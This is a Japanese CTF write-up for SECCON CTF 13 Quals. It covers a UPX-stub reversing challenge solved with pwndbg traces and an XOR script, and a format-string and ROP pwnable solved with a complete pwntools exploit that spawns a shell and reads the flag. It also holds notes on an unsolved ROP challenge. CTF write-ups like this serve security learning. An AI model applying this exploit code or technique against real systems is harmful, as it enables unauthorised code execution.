2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON CTF 13 Quals writeup

Last updated at Posted at 2024-11-24

チームFCCPCで参加して40位(国内12位)。

score.quals.seccon.jp_teams_47.png

score.quals.seccon.jp_challenges.png

packed (reversing)

$ ./a.out
FLAG: SECCON{hoge}
Wrong.

UPXでpackされている。展開したバイナリを解析すると、常に Wrong. と出力していた。

GDBで実行して、 FLAG: と表示されているタイミングで止めて動的解析した。

0x000000000044ee34 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
 RAX  0x31
 RBX  0x44ef14 ◂— invd
 RCX  0x31
 RDX  0x203a47414c46
*RDI  0x7fffffffd968 ◂— 'SECCON{hogehogehoge}\n'
 RSI  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R8   0x134908
 R9   0x0
 R10  0x12
 R11  0x346
 R12  0x7ffff7ba9000
 R13  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R14  0x7ffff7fa9100 ◂— 0xc400000270
 R15  0x4e9fc
 RBP  0x7ffff7ff7b07 ◂— push rbp
 RSP  0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP  0x44ee34 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
   0x44ee22    jne    0x44eec3                      <0x44eec3>

   0x44ee28    mov    ecx, eax
   0x44ee2a    pop    rdx
   0x44ee2b    pop    rsi
   0x44ee2c    lea    rdi, [rsp - 0x90]
 ► 0x44ee34    lodsb  al, byte ptr [rsi]
   0x44ee35    xor    byte ptr [rdi], al
   0x44ee37    inc    rdi
   0x44ee3a    loopne 0x44ee34
    ↓
   0x44ee34   lodsb  al, byte ptr [rsi]
   0x44ee35    xor    byte ptr [rdi], al
0x000000000044ee82 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
 RAX  0x77
 RBX  0x44ef14 ◂— invd
 RCX  0x31
*RDX  0x0
 RDI  0x7fffffffd968 ◂— 0x2182cd4f43430fbb
 RSI  0x44ee41 ◂— mov ebx, 0x4f43430f
 R8   0x134908
 R9   0x0
 R10  0x12
 R11  0x346
 R12  0x7ffff7ba9000
 R13  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R14  0x7ffff7fa9100 ◂— 0xc400000270
 R15  0x4e9fc
 RBP  0x7ffff7ff7b07 ◂— push rbp
 RSP  0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP  0x44ee82 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
   0x44ee72    mov    ecx, 0x31
   0x44ee77    pop    rsi
   0x44ee78    lea    rdi, [rsp - 0x90]
   0x44ee80    xor    edx, edx
 ► 0x44ee82    lodsb  al, byte ptr [rsi]
   0x44ee83    cmp    byte ptr [rdi], al
   0x44ee85    setne  al
   0x44ee88    or     dl, al
   0x44ee8a    inc    rdi
   0x44ee8d    loopne 0x44ee82
    ↓
   0x44ee82   lodsb  al, byte ptr [rsi]
pwndbg> hexdump 0x7ffff7ff7f10 0x80
+0000 0x7ffff7ff7f10  00 01 00 00 e8 4a 00 00  00 83 f9 49 75 44 53 57  │.....J..│...IuDSW│
+0010 0x7ffff7ff7f20  48 8d 4c 37 fd 5e 56 5b  eb 2f 48 39 ce 73 32 56  │H.L7.^V[│./H9.s2V│
+0020 0x7ffff7ff7f30  5e ac 3c 80 72 0a 3c 8f  77 06 80 7e fe 0f 74 06  │^.<.r.<.│w..~..t.│
+0030 0x7ffff7ff7f40  2c e8 3c 01 77 e4 48 39  ce 73 16 56 ad 28 d0 75  │,.<.w.H9│.s.V.(.u│
+0040 0x7ffff7ff7f50  df 5f 0f c8 29 f8 01 d8  ab 48 39 ce 73 03 ac eb  │._..)...│.H9.s...│
+0050 0x7ffff7ff7f60  df 5b c3 58 41 56 41 57  50 48 89 e6 48 81 ec 00  │.[.XAVAW│PH..H...│
+0060 0x7ffff7ff7f70  10 00 00 54 5f 6a 0a 59  f3 48 a5 48 83 3e 00 48  │...T_j.Y│.H.H.>.H│
+0070 0x7ffff7ff7f80  a5 75 f8 49 89 fe 48 ab  48 83 3e 00 48 a5 75 f8  │.u.I..H.│H.>.H.u.│
pwndbg> hexdump 0x44ee40 0x80
+0000 0x44ee40  00 bb 0f 43 43 4f cd 82  1c 25 1c 0c 24 7f f8 2e  │...CCO..│.%..$...│
+0010 0x44ee50  68 cc 2d 09 3a b4 48 78  56 aa 2c 42 3a 6a cf 0f  │h.-.:.Hx│V.,B:j..│
+0020 0x44ee60  df 14 3a 4e d0 1f 37 e4  17 90 39 2b 65 1c 8c 0f  │..:N..7.│..9+e...│
+0030 0x44ee70  7c 7d b9 31 00 00 00 5e  48 8d bc 24 70 ff ff ff  │|}.1...^│H..$p...│
+0040 0x44ee80  31 d2 ac 38 07 0f 95 c0  08 c2 48 ff c7 e0 f3 85  │1..8....│..H.....│
+0050 0x44ee90  d2 75 30 48 ba 55 50 58  21 20 20 00 00 48 b8 1a  │.u0H.UPX│!....H..│
+0060 0x44eea0  1b 79 2b 20 20 00 00 48  31 d0 48 89 44 24 00 54  │.y+....H│1.H.D$.T│
+0070 0x44eeb0  5e ba 01 00 00 00 52 52  ba 04 00 00 00 5f 58 0f  │^.....RR│....._X.│
solve.py
X = [
    0xe8, 0x4a, 0x00, 0x00, 0x00, 0x83, 0xf9, 0x49, 0x75, 0x44, 0x53, 0x57, 0x48, 0x8d, 0x4c, 0x37,
    0xfd, 0x5e, 0x56, 0x5b, 0xeb, 0x2f, 0x48, 0x39, 0xce, 0x73, 0x32, 0x56, 0x5e, 0xac, 0x3c, 0x80,
    0x72, 0x0a, 0x3c, 0x8f, 0x77, 0x06, 0x80, 0x7e, 0xfe, 0x0f, 0x74, 0x06, 0x2c, 0xe8, 0x3c, 0x01,
    0x77,
]
Y = [
    0xbb, 0x0f, 0x43, 0x43, 0x4f, 0xcd, 0x82, 0x1c, 0x25, 0x1c, 0x0c, 0x24, 0x7f, 0xf8, 0x2e, 0x68,
    0xcc, 0x2d, 0x09, 0x3a, 0xb4, 0x48, 0x78, 0x56, 0xaa, 0x2c, 0x42, 0x3a, 0x6a, 0xcf, 0x0f, 0xdf,
    0x14, 0x3a, 0x4e, 0xd0, 0x1f, 0x37, 0xe4, 0x17, 0x90, 0x39, 0x2b, 0x65, 0x1c, 0x8c, 0x0f, 0x7c,
    0x7d,
]
print("".join(map(chr, [x^y for x, y in zip(X, Y)])))
$ python3 solve.py
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

一方がコード領域なので、改竄していると正しく動かないのかもしれない。

SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

Paragraph (pwnable)

main.c
#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}

書式指定文字列攻撃やるだけに見えるが、23文字しか使えないのが厳しい。書けるのは2バイトか。

printf の下位2バイトを書き換えてone gadget RCEに飛ばそうと思ったけれど、 rsp & 0xf == 0 の条件が満たせない。 system に書き換えることもできるが、第1引数は固定。

printfgets に書き換えて、今度は文字数制限が無いからスタックバッファオーバーフローをすれば良いのか。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("paragraph.seccon.games", 5000)

s.sendlineafter(b"the black cat asked.\n",
    # 6290
    b"%25232c%8$hn____"+pack(0x404028)[:-1]
)
s.recvuntil(b"\x28\x40\x40")

s.sendline(
    b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
    b"x"*0x28 +
    pack(0x401283) + # pop rdi
    pack(0x404018) + # puts@GOT
    pack(0x401070) + # puts
    pack(0x401196) + # main
    b" !"
)
s.sendline(b"!")

puts = unpack(s.read(6)+b"\0\0")
print("puts:", hex(puts))

libc = ELF("libc.so.6")
libc.address = puts-libc.symbols.puts

s.sendline(
    b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
    b"x"*0x28 +
    pack(0x401284) + # ret
    pack(0x401283) + # pop rdi
    pack(next(libc.search(b"/bin/sh"))) +
    pack(libc.symbols.system) +
    b" !"
)

s.interactive()

printf7f???????0f0 に配置される。1/16の確率で 7f??????00f0 に配置されたときに解ける。

$ python3 attack.py
[+] Opening connection to paragraph.seccon.games on port 5000: Done
puts: 0x7f546da97bd0
[*] '/mnt/c/documents/ctf/seccon2024q/Paragraph/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode

"What is your name?", the black cat asked.
$ cat /flag*
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
$

SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

Make ROP Great Again (pwnable)

解けなかった。

mrga.c
// gcc mrga.c -fno-stack-protector -fno-pic -no-pie -Wl,-z,now -o chall
#include <stdio.h>

void show_prompt(void);

__attribute__((constructor))
static int init(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	return 0;
}

int main(void){
	char buf[0x10];

	show_prompt();
	gets(buf);

	return 0;
}

void show_prompt(void){
	puts(">");
}

スタックバッファオーバーフローをやるだけの問題に見える……が、 __libc_csu_init が無くて、素直にROPができない。関数呼び出しの第1引数になる rdi に値を設定できない。

しかし、今回のバイナリは PIE が無効で GOT のオーバーライドが可能です。

そのため、そもそも fgets の GOT を書き換えてしまえば、rdi の操作を行った後に任意のコードを実行できそうです。

まず最初のステージでは、以下のコードを ROP で悪用して fgets により fgets の GOT をオーバーライドさせることを目指します。

Imaginary CTF 2024 Writeup - かえるのひみつきち

なるほどね。 pop rdi; ret があるから、rdi はコントロール可能。 gets(rbp-0x10); leave; ret で、任意のアドレスに値を書き込める(ROPの継続のためには leave への配慮が必要)。これで、 getsROP を好きなアドレスに書き換えれば、任意の関数が任意の引数で呼べるのか。……Full RELROだった。

実行したいのは puts(libcのアドレスが格納されたアドレス) で、

0x004010e7: mov edi, 0x00404010 ; jmp rax ;  (2 found)

こういうガジェットはある。 0x00404010stdout 。でも、後続が ret ではなく jmp rax 。逆に言えば、 rax をコントロールできれば良い。

0x00401157: add eax, 0x00002ECB ; add dword [rbp-0x3D], ebx ; nop  ; ret  ;  (1 found)

これで0x2ECBの倍数のアドレスは作れるが……。

0x004010b0: adc eax, 0x00002F3B ; hlt  ; nop word [rax+rax+0x00000000] ; hint_nop edx ; ret  ;  (1 found)

これを組み合わせればさらに色々なアドレスが作れる……と思ったけど、良く見たら hlt が挟まっていた。

後は、 stdinstdout が格納されているアドレスを書き換えれば、それを setbuf に渡して何ができそう。でも、これは gets の中でも参照されていて難しく、時間切れ。

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?